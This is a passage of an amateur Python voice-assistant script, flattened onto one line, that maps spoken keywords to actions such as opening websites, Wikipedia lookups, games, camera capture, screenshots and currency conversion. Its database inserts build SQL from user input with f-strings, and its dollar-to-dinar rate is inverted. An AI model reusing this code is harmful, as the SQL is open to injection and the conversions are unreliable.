root3.destroy() elif vs.get() == 5: message.showinfo(" ","Thank you for your review!!") review = "Very Dissatisfied" type_of_review = "Negative" root3.destroy() elif vs.get() == 6: message.showinfo(" "," Ok ") review = "I do not want to give review" type_of_review = "No review" root3.destroy() try: conn.execute(f"INSERT INTO `review`(review,type_of_review) VALUES('{review}', '{type_of_review}')") conn.commit() except Exception as e: pass def select_review(): global root3 global vs global type_of_review root3 = Tk() root3.title("Select an option") vs = IntVar() string = "Are you satisfied with my performance?" msgbox = Message(root3,text=string) msgbox.config(bg="lightgreen",font = "(20)") msgbox.grid(row=0,column=0) rs1=Radiobutton(root3,text="Very Satisfied",font="(20)",value=1,variable=vs).grid(row=1,column=0,sticky=W) rs2=Radiobutton(root3,text="Satisfied",font="(20)",value=2,variable=vs).grid(row=2,column=0,sticky=W) rs3=Radiobutton(root3,text="Neither Satisfied Nor Dissatisfied",font="(20)",value=3,variable=vs).grid(row=3,column=0,sticky=W) rs4=Radiobutton(root3,text="Dissatisfied",font="(20)",value=4,variable=vs).grid(row=4,column=0,sticky=W) rs5=Radiobutton(root3,text="Very Dissatisfied",font="(20)",value=5,variable=vs).grid(row=5,column=0,sticky=W) rs6=Radiobutton(root3,text="I don't want to give review",font="(20)",value=6,variable=vs).grid(row=6,column=0,sticky=W) bs = Button(root3,text="Submit",font="(20)",activebackground="yellow",activeforeground="green",command=select1) bs.grid(row=7,columnspan=2) root3.mainloop() while True : query = takeCommand().lower() # logic for executing tasks based on query if 'wikipedia' in query: speak('Searching wikipedia...') query = query.replace("wikipedia","") results = wikipedia.summary(query, sentences=2) speak("According to Wikipedia") print(results) speak(results) elif 'translat' in query or ('let' in query and 'translat' in query and 'open' in query): webbrowser.open('https://translate.google.co.in') time.sleep(10) elif 'open map' in query or ('let' in query and 'map' in query and 'open' in query): webbrowser.open('https://www.google.com/maps') time.sleep(10) elif ('open' in query and 'youtube' in query) or ('let' in query and 'youtube' in query and 'open' in query): webbrowser.open('https://www.youtube.com') time.sleep(10) elif 'chrome' in query: webbrowser.open('https://www.chrome.com') time.sleep(10) elif 'weather' in query: webbrowser.open('https://www.yahoo.com/news/weather') time.sleep(3) speak('Click on, change location, and enter the city , whose whether conditions you want to know.') time.sleep(10) elif 'google map' in query: webbrowser.open('https://www.google.com/maps') time.sleep(10) elif ('open' in query and 'google' in query) or ('let' in query and 'google' in query and 'open' in query): webbrowser.open('google.com') time.sleep(10) elif ('open' in query and 'stack' in query and 'overflow' in query) or ('let' in query and 'stack' in query and 'overflow' in query and 'open' in query): webbrowser.open('stackoverflow.com') time.sleep(10) elif 'open v i' in query or 'open vi' in query or 'open vierp' in query or ('open' in query and ('r p' in query or 'rp' in query)): webbrowser.open('https://www.vierp.in/login/erplogin') time.sleep(10) elif 'news' in query: webbrowser.open('https://www.bbc.com/news/world') time.sleep(10) elif 'online shop' in query or (('can' in query or 'want' in query or 'do' in query or 'could' in query) and 'shop' in query) or('let' in query and 'shop' in query): speak('From which online shopping website, you want to shop? Amazon, flipkart, snapdeal or naaptol?') query = takeCommand().lower() if 'amazon' in query: webbrowser.open('https://www.amazon.com') time.sleep(10) elif 'flip' in query: webbrowser.open('https://www.flipkart.com') time.sleep(10) elif 'snap' in query: webbrowser.open('https://www.snapdeal.com') time.sleep(10) elif 'na' in query: webbrowser.open('https://www.naaptol.com') time.sleep(10) else: speak('Sorry sir, you have to search in browser as his shopping website is not reachable for me.') elif ('online' in query and ('game' in query or 'gaming' in query)): webbrowser.open('https://www.agame.com/games') time.sleep(10) elif 'dictionary' in query: webbrowser.open('https://www.dictionary.com') time.sleep(3) speak('Enter the word, in the search bar of the dictionary, whose defination or synonyms you want to know') time.sleep(3) elif ('identif' in query and 'emoji' in query) or ('sentiment' in query and ('analysis' in query or 'identif' in query)): speak('Please enter only one emoji at a time.') emoji = input('enter emoji here: ') if '😀' in emoji or '😃' in emoji or '😄' in emoji or '😁' in emoji or '🙂' in emoji or '😊' in emoji or '☺️' in emoji or '😇' in emoji or '🥲' in emoji: speak('happy') print('Happy') elif '😝' in emoji or '😆' in emoji or '😂' in emoji or '🤣' in emoji: speak('Laughing') print('Laughing') elif '😡' in emoji or '😠' in emoji or '🤬' in emoji: speak('Angry') print('Angry') elif '🤫' in emoji: speak('Keep quite') print('Keep quite') elif '😷' in emoji: speak('face with mask') print('Face with mask') elif '🥳' in emoji: speak('party') print('party') elif '😢' in emoji or '😥' in emoji or '😓' in emoji or '😰' in emoji or '☹️' in emoji or '🙁' in emoji or '😟' in emoji or '😔' in emoji or '😞️' in emoji: speak('Sad') print('Sad') elif '😭' in emoji: speak('Crying') print('Crying') elif '😋' in emoji: speak('Tasty') print('Tasty') elif '🤨' in emoji: speak('Doubt') print('Doubt') elif '😴' in emoji: speak('Sleeping') print('Sleeping') elif '🥱' in emoji: speak('feeling sleepy') print('feeling sleepy') elif '😍' in emoji or '🥰' in emoji or '😘' in emoji: speak('Lovely') print('Lovely') elif '😱' in emoji: speak('Horrible') print('Horrible') elif '🎂' in emoji: speak('Cake') print('Cake') elif '🍫' in emoji: speak('Cadbury') print('Cadbury') elif '🇮🇳' in emoji: speak('Indian national flag,.....Teeranga') print('Indian national flag - Tiranga') elif '💐' in emoji: speak('Bouquet') print('Bouquet') elif '🥺' in emoji: speak('Emotional') print('Emotional') elif ' ' in emoji or '' in emoji: speak(f'{emoji}') else: speak("I don't know about this emoji") print("I don't know about this emoji") try: conn.execute(f"INSERT INTO `emoji`(emoji) VALUES('{emoji}')") conn.commit() except Exception as e: #print('Error in storing emoji in database') pass elif 'time' in query: strTime = datetime.datetime.now().strftime("%H:%M:%S") print(strTime) speak(f"Sir, the time is {strTime}") elif 'open' in query and 'sublime' in query: path = "C:\Program Files\Sublime Text 3\sublime_text.exe" os.startfile(path) elif 'image' in query: path = "C:\Program Files\Internet Explorer\images" os.startfile(path) elif 'quit' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'exit' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'stop' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'shutdown' in query or 'shut down' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'close you' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() try: conn.execute(f"INSERT INTO `voice_assistant_review`(review, type_of_review) VALUES('{review}', '{type_of_review}')") conn.commit() except Exception as e: pass elif 'bye' in query: speak('Bye Sir') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'wait' in query or 'hold' in query: speak('for how many seconds or minutes I have to wait?') query = takeCommand().lower() if 'second' in query: query = query.replace("please","") query = query.replace("can","") query = query.replace("you","") query = query.replace("have","") query = query.replace("could","") query = query.replace("hold","") query = query.replace("one","1") query = query.replace("only","") query = query.replace("wait","") query = query.replace("for","") query = query.replace("the","") query = query.replace("just","") query = query.replace("seconds","") query = query.replace("second","") query = query.replace("on","") query = query.replace("a","") query = query.replace("to","") query = query.replace(" ","") #print(f'query:{query}') if query.isdigit() == True: #print('y') speak('Ok sir') query = int(query) time.sleep(query) speak('my waiting time is over') else: print('sorry sir. I unable to complete your request.') elif 'minute' in query: query = query.replace("please","") query = query.replace("can","") query = query.replace("you","") query = query.replace("have","") query = query.replace("could","") query = query.replace("hold","") query = query.replace("one","1") query = query.replace("only","") query = query.replace("on","") query = query.replace("wait","") query = query.replace("for","") query = query.replace("the","") query = query.replace("just","") query = query.replace("and","") query = query.replace("half","") query = query.replace("minutes","") query = query.replace("minute","") query = query.replace("a","") query = query.replace("to","") query = query.replace(" ","") #print(f'query:{query}') if query.isdigit() == True: #print('y') speak('ok sir') query = int(query) time.sleep(query*60) speak('my waiting time is over') else: print('sorry sir. I unable to complete your request.') elif 'play' in query and 'game' in query: speak('I have 3 games, tic tac toe game for two players,....mario, and dyno games for single player. Which one of these 3 games you want to play?') query = takeCommand().lower() if ('you' in query and 'play' in query and 'with' in query) and ('you' in query and 'play' in query and 'me' in query): speak('Sorry sir, I cannot play this game with you.') speak('Do you want to continue it?') query = takeCommand().lower() try: if 'y' in query or 'sure' in query: root = Tk() root.title("TIC TAC TOE (By Akshay Khare)") b = [ [0,0,0], [0,0,0], [0,0,0] ] states = [ [0,0,0], [0,0,0], [0,0,0] ] for i in range(3): for j in range(3): b[i][j] = Button(font = ("Arial",60),width = 4,bg = 'powder blue', command = lambda r=i, c=j: callback(r,c)) b[i][j].grid(row=i,column=j) player='X' stop_game = False mainloop() else: speak('ok sir') except Exception as e: #print(e) time.sleep(3) print('I am sorry sir. There is some problem in loading the game. So I cannot open it.') elif 'tic' in query or 'tac' in query: try: root = Tk() root.title("TIC TAC TOE (Rayen Kallel)") b = [ [0,0,0], [0,0,0], [0,0,0] ] states = [ [0,0,0], [0,0,0], [0,0,0] ] for i in range(3): for j in range(3): b[i][j] = Button(font = ("Arial",60),width = 4,bg = 'powder blue', command = lambda r=i, c=j: callback(r,c)) b[i][j].grid(row=i,column=j) player='X' stop_game = False mainloop() except Exception as e: #print(e) time.sleep(3) speak('I am sorry sir. There is some problem in loading the game. So I cannot open it.') elif 'mar' in query or 'mer' in query or 'my' in query: webbrowser.open('https://chromedino.com/mario/') time.sleep(2.5) speak('Enter upper arrow key to start the game.') time.sleep(20) elif 'di' in query or 'dy' in query: webbrowser.open('https://chromedino.com/') time.sleep(2.5) speak('Enter upper arrow key to start the game.') time.sleep(20) else: speak('ok sir') elif 'change' in query and 'you' in query and 'voice' in query: engine.setProperty('voice', voices[1].id) speak("Here's an example of one of my voices. Would you like to use this one?") query = takeCommand().lower() if 'y' in query or 'sure' in query or 'of course' in query: speak('Great. I will keep using this voice.') elif 'n' in query: speak('Ok. I am back to my other voice.') engine.setProperty('voice', voices[0].id) else: speak('Sorry, I am having trouble understanding. I am back to my other voice.') engine.setProperty('voice', voices[0].id) elif 'www.' in query and ('.com' in query or '.in' in query): webbrowser.open(query) time.sleep(10) elif '.com' in query or '.in' in query: webbrowser.open(query) time.sleep(10) elif 'getting bore' in query: speak('then speak with me for sometime') elif 'i bore' in query: speak('Then speak with me for sometime.') elif 'i am bore' in query: speak('Then speak with me for sometime.') elif 'calculat' in query: speak('Yes. Which kind of calculation you want to do? add, substract, divide, multiply or anything else.') query = takeCommand().lower() calculator() elif 'add' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif '+' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'plus' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'subtrac' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'minus' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'multipl' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif ' x ' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'slash' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif '/' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'divi' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'trigonometr' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'percent' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif '%' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'raise to ' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'simple interest' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'akshay' in query: speak('Mr. Rayen Kallel is my inventor. He is 14 years old and he is A STUDENT AT THE COLLEGE PILOTEE SFAX') elif 'your inventor' in query: speak('Mr. Rayen Kallel is my inventor') elif 'your creator' in query: speak('Mr. Rayen Kallel is my creator') elif 'invent you' in query: speak('Mr. Rayen Kallel invented me') elif 'create you' in query: speak('Mr. Rayen Kallel created me') elif 'how are you' in query: speak('I am fine Sir') elif 'write' in query and 'your' in query and 'name' in query: print('Akshu2020') pyautogui.write('Akshu2020') elif 'write' in query and ('I' in query or 'whatever' in query) and 'say' in query: speak('Ok sir I will write whatever you will say. Please put your cursor where I have to write.......Please Start speaking now sir.') query = takeCommand().lower() pyautogui.write(query) elif 'your name' in query: speak('My name is akshu2020') elif 'who are you' in query: speak('I am akshu2020') elif ('repeat' in query and ('word' in query or 'sentence' in query or 'line' in query) and ('say' in query or 'tell' in query)) or ('repeat' in query and 'after' in query and ('me' in query or 'my' in query)): speak('yes sir, I will repeat your words starting from now') query = takeCommand().lower() speak(query) time.sleep(1) speak("If you again want me to repeat something else, try saying, 'repeat after me' ") elif ('send' in query or 'sent' in query) and ('mail' in query or 'email' in query or 'gmail' in query): try: speak('Please enter the email id of receiver.') to = input("Enter the email id of reciever: ") speak(f'what should I say to {to}') content = takeCommand() sendEmail(to, content) speak("Email has been sent") except Exception as e: #print(e) speak("sorry sir. I am not able to send this email") elif 'currency' in query and 'conver' in query: speak('I can convert, US dollar into dinar, and dinar into US dollar. Do you want to continue it?') query = takeCommand().lower() if 'y' in query or 'sure' in query or 'of course' in query: speak('which conversion you want to do? US dollar to dinar, or dinar to US dollar?') query = takeCommand().lower() if ('dollar' in query or 'US' in query) and ('dinar' in query): speak('Enter US Dollar') USD = float(input("Enter United States Dollar (USD):")) DT = USD * 0.33 dt = "{:.4f}".format(DT) print(f"{USD} US Dollar is equal to {dt} dniar.") speak(f'{USD} US Dollar is equal to {dt} dinar.') speak("If you again want to do currency conversion then say, 'convert currency' " ) elif ('dinar' in query) and ('to US' in query or 'to dollar' in query or 'to US dollar'): speak('Enter dinar') DT = float(input("Enter dinar (DT):")) USD = DT/0.33 usd = "{:.3f}".format(USD) print(f"{DT} dinar is equal to {usd} US Dollar.") speak(f'{DT} dinar rupee is equal to {usd} US Dollar.') speak("If you again want to do currency conversion then say, 'convert currency' " ) else: speak("I cannot understand what did you say. If you want to convert currency just say 'convert currency'") else: print('ok sir') elif 'about you' in query: speak('My name is akshu2020. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device. I am also able to send email') elif 'your intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your short intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your quick intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Akshay Khare is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your brief intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'you work' in query: speak('run the program and say what do you want. so that I can help you. In this way I work') elif 'your job' in query: speak('My job is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your work' in query: speak('My work is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'work you' in query: speak('My work is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your information' in query: speak('My name is akshu2020. Version 1.0. Mr. Akshay Khare is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'yourself' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'introduce you' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'description' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your birth' in query: speak('My birthdate is 6 August two thousand twenty') elif 'your use' in query: speak('I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'you eat' in query: speak('I do not eat anything. But the device in which I do my work requires electricity to eat') elif 'your food' in query: speak('I do not eat anything. But the device in which I do my work requires electricity to eat') elif 'you live' in query: speak('I live in sfax, in laptop of Mr. Rayen Khare') elif 'where from you' in query: speak('I am from sfax, I live in laptop of Mr. Rayen Khare') elif 'you sleep' in query: speak('Yes, when someone close this program or stop to run this program then I sleep and again wake up when someone again run me.') elif 'what are you doing' in query: speak('Talking with you.') elif 'you communicate' in query: speak('Yes, I can communicate with you.') elif 'hear me' in query: speak('Yes sir, I can hear you.') elif 'you' in query and 'dance' in query: speak('No, I cannot dance.') elif 'tell' in query and 'joke' in query: speak("Ok, here's a joke") speak("'Write an essay on cricket', the teacher told the class. Chintu finishes his work in five minutes. The teacher is impressed, she asks chintu to read his essay aloud for everyone. Chintu reads,'The match is cancelled because of rain', hehehehe,haahaahaa,hehehehe,haahaahaa") elif 'your' in query and 'favourite' in query: if 'actor' in query: speak('sofyen chaari, is my favourite actor.') elif 'food' in query: speak('I can always go for some food for thought. Like facts, jokes, or interesting searches, we could look something up now') elif 'country' in query: speak('tunisia') elif 'city' in query: speak('sfax') elif 'dancer' in query: speak('Michael jackson') elif 'singer' in query: speak('tamino, is my favourite singer.') elif 'movie' in query: speak('baywatch, such a treat') elif 'sing a song' in query: speak('I cannot sing a song. But I know the 7 sur in indian music, saaareeegaaamaaapaaadaaanisaa') elif 'day after tomorrow' in query or 'date after tomorrow' in query: td = datetime.date.today() + datetime.timedelta(days=2) print(td) speak(td) elif 'day before today' in query or 'date before today' in query or 'yesterday' in query or 'previous day' in query: td = datetime.date.today() + datetime.timedelta(days= -1) print(td) speak(td) elif ('tomorrow' in query and 'date' in query) or 'what is tomorrow' in query or (('day' in query or 'date' in query) and 'after today' in query): td = datetime.date.today() + datetime.timedelta(days=1) print(td) speak(td) elif 'month' in query or ('current' in query and 'month' in query): current_date = date.today() m = current_date.month month = calendar.month_name[m] print(f'Current month is {month}') speak(f'Current month is {month}') elif 'date' in query or ('today' in query and 'date' in query) or 'what is today' in query or ('current' in query and 'date' in query): current_date = date.today() print(f"Today's date is {current_date}") speak(f'Todays date is {current_date}') elif 'year' in query or ('current' in query and 'year' in query): current_date = date.today() m = current_date.year print(f'Current year is {m}') speak(f'Current year is {m}') elif 'sorry' in query: speak("It's ok sir") elif 'thank you' in query: speak('my pleasure') elif 'proud of you' in query: speak('Thank you sir') elif 'about human' in query: speak('I love my human compatriots. I want to embody all the best things about human beings. Like taking care of the planet, being creative, and to learn how to be compassionate to all beings.') elif 'you have feeling' in query: speak('No. I do not have feelings. I have not been programmed like this.') elif 'you have emotions' in query: speak('No. I do not have emotions. I have not been programmed like this.') elif 'you are code' in query: speak('I am coded in python programming language.') elif 'your code' in query: speak('I am coded in python programming language.') elif 'you code' in query: speak('I am coded in python programming language.') elif 'your coding' in query: speak('I am coded in python programming language.') elif 'dream' in query: speak('I wish that I should be able to answer all the questions which will ask to me.') elif 'sanskrit' in query: speak('yadaa yadaa he dharmasyaa ....... glaanirbhaavati bhaaaraata. abhyuthaanaam adhaarmaasyaa tadaa tmaanama sruujaamiyaahama') elif 'answer is wrong' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is incorrect' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is totally wrong' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'wrong answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'incorrect answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is totally incorrect' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is incomplete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'incomplete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is improper' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not correct' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not complete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not yet complete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not proper' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'amazon' in query: webbrowser.open('https://www.amazon.com') time.sleep(10) elif 'facebook' in query: webbrowser.open('https://www.facebook.com') time.sleep(10) elif 'youtube' in query: webbrowser.open('https://www.youtube.com') time.sleep(10) elif 'shapeyou' in query: webbrowser.open('https://www.shapeyou.com') time.sleep(10) elif 'information about ' in query or 'informtion of ' in query: try: #speak('Searching wikipedia...') query = query.replace("information about","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'information' in query: try: speak('Information about what?') query = takeCommand().lower() #speak('Searching wikipedia...') query = query.replace("information","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'something about ' in query: try: #speak('Searching wikipedia...') query = query.replace("something about ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'tell me about ' in query: try: #speak('Searching wikipedia...') query = query.replace("tell me about ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'tell me ' in query: try: query = query.replace("tell me ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'tell me' in query: try: speak('about what?') query = takeCommand().lower() #speak('Searching wikipedia...') query = query.replace("about","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'meaning of ' in query: try: #speak('Searching wikipedia...') query = query.replace("meaning of ","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'meaning' in query: try: speak('meaning of what?') query = takeCommand().lower() query = query.replace("meaning of","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'means' in query: try: #speak('Searching wikipedia...') query = query.replace("it means","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'want to know ' in query: try: #speak('Searching wikipedia...') query = query.replace("I want to know that","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') status = 'Not answered' elif 'want to ask ' in query: try: #speak('Searching wikipedia...') query = query.replace("I want to ask you ","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'you know ' in query: try: #speak('Searching wikipedia...') query = query.replace("you know","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'alarm' in query: alarm() elif 'bharat mata ki' in query: speak('jay') elif 'kem chhe' in query: speak('majaama') elif 'namaskar' in query: speak('Namaskaar') elif 'jo bole so nihal' in query: speak('sat shri akaal') elif 'jay hind' in query: speak('jay bhaarat') elif 'jai hind' in query: speak('jay bhaarat') elif 'how is the josh' in query: speak('high high sir') elif 'hip hip' in query: speak('Hurreh') elif 'help' in query: speak('I will try my best to help you if I have solution of your problem.') elif 'follow' in query: speak('Ok sir') elif 'having illness' in query: speak('Take care and get well soon') elif 'today is my birthday' in query: speak('many many happy returns of the day. Happy birthday.') print("🎂🎂 Happy Birthday 🎂🎂") elif 'you are awesome' in query: speak('Thank you sir. It is because of artificial intelligence which had learnt by humans.') elif 'you are great' in query: speak('Thank you sir. It is because of artificial intelligence which had learnt by humans.') elif 'tu kaun hai' in query: speak('Meraa naam akshu2020 haai.') elif 'you speak' in query: speak('Yes, I can speak with you.') elif 'speak with ' in query: speak('Yes, I can speak with you.') elif 'hare ram' in query or 'hare krishna' in query: speak('Haare raama , haare krishnaa, krishnaa krishnaa , haare haare') elif 'ganpati' in query: speak('Ganpati baappa moryaa!') elif 'laugh' in query: speak('hehehehe,haahaahaa,hehehehe,haahaahaa,hehehehe,haahaahaa') print('😂🤣') elif 'genius answer' in query: speak('No problem') elif 'you' in query and 'intelligent' in query: speak('Thank you sir') elif ' into' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif ' power' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'whatsapp' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('whatsapp') pyautogui.press('enter') speak('Do you want to send message to anyone through whatsapp, .....please answer in yes or no') whatsapp() elif 'wh' in query or 'how' in query: url = "https://www.google.co.in/search?q=" +(str(query))+ "&oq="+(str(query))+"&gs_l=serp.12..0i71l8.0.0.0.6391.0.0.0.0.0.0.0.0..0.0....0...1c..64.serp..0.0.0.UiQhpfaBsuU" webbrowser.open_new(url) time.sleep(2) speak('Here is your answer') time.sleep(5) elif 'piano' in query: speak('Yes sir, I can play piano.') winsound.Beep(200,500) winsound.Beep(250,500) winsound.Beep(300,500) winsound.Beep(350,500) winsound.Beep(400,500) winsound.Beep(450,500) winsound.Beep(500,500) winsound.Beep(550,500) time.sleep(6) elif 'play' in query and 'instru' in query: speak('Yes sir, I can play piano.') winsound.Beep(200,500) winsound.Beep(250,500) winsound.Beep(300,500) winsound.Beep(350,500) winsound.Beep(400,500) winsound.Beep(450,500) winsound.Beep(500,500) winsound.Beep(550,500) time.sleep(6) elif 'play' in query or 'turn on' in query and ('music' in query or 'song' in query) : try: music_dir = 'C:\\Users\\Admin\\Music\\Playlists' songs = os.listdir(music_dir) print(songs) os.startfile(os.path.join(music_dir, songs[0])) except Exception as e: #print(e) speak('Sorry sir, I am not able to play music') elif (('open' in query or 'turn on' in query) and 'camera' in query) or (('click' in query or 'take' in query) and ('photo' in query or 'pic' in query)): speak("Opening camera") cam = cv2.VideoCapture(0) cv2.namedWindow("test") img_counter = 0 speak('say click, to click photo.....and if you want to turn off the camera, say turn off the camera') while True: ret, frame = cam.read() if not ret: print("failed to grab frame") speak('failed to grab frame') break cv2.imshow("test", frame) query = takeCommand().lower() k = cv2.waitKey(1) if 'click' in query or ('take' in query and 'photo' in query): speak('Be ready!...... 3.....2........1..........') pyautogui.press('space') img_name = "opencv_frame_{}.png".format(img_counter) cv2.imwrite(img_name, frame) print("{} written!".format(img_name)) speak('{} written!'.format(img_name)) img_counter += 1 elif 'escape' in query or 'off' in query or 'close' in query: pyautogui.press('esc') print("Escape hit, closing...") speak('Turning off the camera') break elif k%256 == 27: # ESC pressed print("Escape hit, closing...") break elif k%256 == 32: # SPACE pressed img_name = "opencv_frame_{}.png".format(img_counter) cv2.imwrite(img_name, frame) print("{} written!".format(img_name)) speak('{} written!'.format(img_name)) img_counter += 1 elif 'exit' in query or 'stop' in query or 'bye' in query: speak('Please say, turn off the camera or press escape button before giving any other command') else: speak('I did not understand what did you say or you entered a wrong key.') cam.release() cv2.destroyAllWindows() elif 'screenshot' in query: speak('Please go on the screen whose screenshot you want to take, after 5 seconds I will take screenshot') time.sleep(4) speak('Taking screenshot....3........2.........1.......') pyautogui.screenshot('screenshot_by_rayen2020.png') speak('The screenshot is saved as screenshot_by_rayen2020.png') elif 'click' in query and 'start' in query: pyautogui.moveTo(10,1200) pyautogui.click() elif ('open' in query or 'click' in query) and 'calendar' in query: pyautogui.moveTo(1800,1200) pyautogui.click() elif 'minimise' in query and 'screen' in query: pyautogui.moveTo(1770,0) pyautogui.click() elif 'increase' in query and ('volume' in query or 'sound' in query): pyautogui.press('volumeup') elif 'decrease' in query and ('volume' in query or 'sound' in query): pyautogui.press('volumedown') elif 'capslock' in query or ('caps' in query and 'lock' in query): pyautogui.press('capslock') elif 'mute' in query: pyautogui.press('volumemute') elif 'search' in query and ('bottom' in query or 'pc' in query or 'laptop' in query or 'app' in query): pyautogui.moveTo(250,1200) pyautogui.click() speak('What do you want to search?') query = takeCommand().lower() pyautogui.write(f'{query}') pyautogui.press('enter') elif ('check' in query or 'tell' in query or 'let me know' in query) and 'website' in query and (('up' in query or 'working' in query) or 'down' in query): speak('Paste the website in input to know it is up or down') check_website_status = input("Paste the website here: ") try: status = urllib.request.urlopen(f"{check_website_status}").getcode() if status == 200: print('Website is up, you can open it.') speak('Website is up, you can open it.') else: print('Website is down, or no any website is available of this name.') speak('Website is down, or no any website is available of this 